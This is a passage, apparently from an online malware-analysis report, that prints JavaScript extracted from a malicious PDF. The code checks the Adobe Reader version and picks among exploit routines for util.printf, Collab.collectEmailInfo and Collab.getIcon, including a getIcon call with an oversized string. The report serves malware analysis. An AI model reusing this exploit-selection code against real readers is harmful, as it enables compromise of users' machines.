tUMhNbGw += tUMhNbGw; } tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } } function pdf_start(){ var version = app.viewerVersion.toString(); version = version.replace(/\D/g,''); var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2)); if ((varsion_array[0] == 8) && (varsion_array[1] == 0) \|\| (varsion_array[1] == 1 && varsion_array[2] < 3)){ util_printf(); } if ((varsion_array[0] < 8) \|\| (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){ collab_email(); } if ((varsion_array[0] < 9) \|\| (varsion_array[0] == 9 && varsion_array[1] < 1)){ collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 13

Related samples 8

Extracted artifacts 2